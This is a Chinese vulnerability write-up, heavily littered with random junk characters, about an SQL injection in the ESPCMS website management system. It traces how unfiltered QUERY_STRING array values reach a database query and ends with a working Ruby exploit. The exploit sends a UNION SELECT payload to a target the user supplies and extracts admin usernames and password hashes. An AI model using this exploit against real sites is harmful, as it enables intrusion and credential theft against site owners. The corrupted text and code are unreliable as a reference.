0×0 漏洞概述0×1 漏洞细节
& |4 Q z, f! T$ W0×2 PoC
+ T) U& k2 q* t4 ]- |, T3 w
, X: S! E1 w. r4 U. }" D$ a- V8 R5 e# z) R; Z) N2 t
: o6 L0 V" K# j% g
0×0 漏洞概述
6 S5 j* [* d1 \. u# y1 I" B6 C# K" j$ H# q! ?
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
( `3 W/ H. J b6 p2 d: y其在处理传入的参数时考虑不严谨导致SQL注入发生
) i3 H2 z" U7 {! m$ U, E+ h4 `0 q! R
: V9 r# z$ C% y; q7 _9 N" u0×1 漏洞细节
0 {4 ~: t$ K9 U1 _# d) \3 r( N; m
! G% {9 b! k; t1 i; M6 M% ~0 q. i O变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。1 c/ W6 P8 O% V7 l% N2 b% j, |$ Y) o7 `$ c
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
7 G; v2 T! r1 g: b& r+ |! ~而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
( S% j% @+ [+ W! @$ A% d. N: c7 N9 l5 F- D G9 e! U
在/interface/3gwap_search.php文件的in_result函数中:& @, }& Y" g h. q; |% y
- b0 j4 n `- R5 m& n7 }9 f6 ]1 U& s3 M
, O; |- q+ ^7 B1 L& m& T" B
% }+ @1 I1 j! v function in_result() {. ~0 p* i0 C7 g: Q
... ... ... ... ... ... ... ... ...+ Q; t" j: t8 s$ g2 p
$urlcode = $_SERVER[ 'QUERY_STRING '];$ d1 _4 ]# ~! \ o; b
parse_str(html_entity_decode($urlcode), $output);) }' G' s" o/ w3 v$ E
T _) C" B1 T- g- \1 J- i ... ... ... ... ... ... ... ... ...3 C% Q' T0 A1 r" \8 D) W
if (is_array($output['attr' ]) && count($output['attr']) > 0) {/ ]5 C1 S" m6 u( D* w5 S4 O
0 b# g4 A$ R- Q2 S y4 L: _& C* T8 _ $db_table = db_prefix . 'model_att';7 i$ U* O3 Z/ E+ a* O5 B
h- d7 [0 H% @, }$ w
foreach ($output['attr' ] as $key => $value) {% t+ ]! `% j) e, m
if ($value) {/ O7 Y- o7 l, C" O! `
u3 L6 a- l+ M. ?
$key = addslashes($key);, Q" V' i5 H6 a% G2 V# c. _
$key = $this-> fun->inputcodetrim($key);
p a" s" ^5 _4 R) n $db_att_where = " WHERE isclass=1 AND attrname='$key'";
1 r* b0 k( P" H. D, O+ \ $countnum = $this->db_numrows($db_table, $db_att_where);7 v9 ~: D h3 w/ W
if ($countnum > 0) {
2 x( g$ e7 e, X( {1 f' h$ w5 n, D2 v $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;1 J% W0 M: `; P9 P* i S
} n k) y" S( y$ o( x
}2 Q9 L/ H- W5 }2 [. N# d5 X
}9 F! V% L+ W& D/ H- \' G
}
5 e" `$ J, t2 Q Y+ n if (!empty ($keyword) && empty($keyname)) {7 A2 [8 e* B/ \: |
$keyname = 'title';
; C; g5 P3 R7 k& {! M' G $db_where.= " AND a.title like '%$keyword%'" ;, [! Z! W* e) @
} elseif (!empty ($keyword) && !empty($keyname)) {1 F/ G) W8 {4 e2 m0 e7 {
$db_where.= " AND $keyname like '% $keyword%'";
1 K, m! X: G6 @; J" n }
C6 f' [* w* I& R1 T8 S $pagemax = 15;: f% S; p* X8 e4 s R M
9 L! I, i% F% A7 T$ ?( R $pagesylte = 1;
3 G+ U0 K- x6 I+ S+ J% E1 h) v& z# \1 c& }7 {6 S
if ($countnum > 0) {
0 d% I$ v2 m9 y1 O6 P
. j5 P5 i4 |* }$ ] Q$ d/ w2 S $numpage = ceil($countnum / $pagemax);7 q. u8 _2 j4 c9 e
} else {
* t. ?0 J% q# O: |! {3 h% A0 @* y& T $numpage = 1;
5 f5 Q* h0 n) J, [ }% G" ~0 d7 C7 H" U" h; w( L- ~
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;7 c7 _4 y# g5 c6 d G, J' g& Z1 F
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
" X& Y: ^* u0 }, K- `; Q$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
2 O( _0 {- c# L, m( B' f ... ... ... ... ... ... ... ... ...
9 v6 U- l* Q# b0 l }
3 P, @3 A' |" {/ J: S1 F5 D
7 }8 t6 g8 P6 i# b
5 Z: z( `, ~& M R8 f5 ?& z6 f/ s0×2 PoC
. x: D" [' F- J5 _2 r! A- y1 }, i, h
: b9 d% a( c& D% z4 z% a. q$ M! f" J, \6 M1 p% g5 Q- S0 C* `6 a
require "net/http"3 K2 v+ ~4 g) l r, J W1 _( }
. D2 s3 |9 F" q3 q4 W' c7 w5 R
def request(method, url)+ n, @- N k" N. k
if method.eql?("get")! |- L7 A5 r" b5 g5 y
uri = URI.parse(url)
8 F% O" C( f9 k+ d http = Net::HTTP.new(uri.host, uri.port)3 D6 Y6 M; P% r3 D! W. M2 T
response = http.request(Net::HTTP::Get.new(uri.request_uri))+ ?. `& ]) d# o
return response! _4 F' Y* e! W
end
* j! X7 g( q7 \6 tend
, U& h) P1 S/ m3 o: l4 V6 q. K7 _- r4 d2 n- F; b5 K4 K$ T/ l" T# @
doc =<<HERE
/ J3 F( X/ A. b% {2 _. [5 z0 c-------------------------------------------------------4 h! }8 {% B: g/ {
Espcms Injection Exploit1 P+ }' g4 ]0 n/ z
Author:ztz
0 S$ M. h& K5 d3 k% PBlog:http://ztz.fuzzexp.org/
8 i* y8 }; Z$ |( U1 W, z+ u7 U* Q-------------------------------------------------------
" C. c! w& J; E3 ~1 F
6 z- U$ @. O2 P# e% k4 DHERE
6 |, P) h/ q z3 g* @: L" B7 g5 q: b' J. H# C% S/ z0 u. G4 |! h
usage =<<HERE! H9 R/ f, x$ a7 k4 i
Usage: ruby #{$0} host port path
( X6 P3 T) L0 {* d( C; _example: ruby #{$0} www.target.com 80 /
9 W" D/ |0 j( d0 }/ K) p! M0 ^HERE1 d7 W+ u( e/ I( |* | J. W# q' B
$ _$ x+ j* t$ H* y4 tputs doc, y0 N& ]$ H! S2 P3 X- }
if ARGV.length < 3
( R- j) T2 m# }, `. n% Z* } puts usage
6 {; W$ C9 h3 n$ Y7 \else
# S& w* A* D# A( K1 m/ U( v7 L, } $host = ARGV[0]6 U, B. B0 L9 w4 C$ F+ r
$port = ARGV[1]
. L* E) c' g$ k- w4 l0 z$ _8 Q6 } $path = ARGV[2]
7 P" u' ]3 z9 C
! X6 @* ?- S' ]7 \5 J1 A puts "send request..."
+ ~& U5 `5 R: L0 r& Q, ^ url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&- _8 f3 b% J3 e& q6 @" x
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
1 r+ i9 T1 f5 D5 ^& h/ q,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
2 ?% z+ V8 G9 s/ b! ^6 o,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"& E' I7 _0 M7 j- |
response = request("get", url)
' ^ V* D n8 P+ e& Y6 } result = response.body.scan(/\w+&\w{32}/)9 ^7 g* j: F8 D; Q, b
puts result
" n- s/ i. i1 g" b0 c( ?end
( o. _0 |2 H) `+ T& A; J4 E- ^% t* q* r' [9 { R* d
|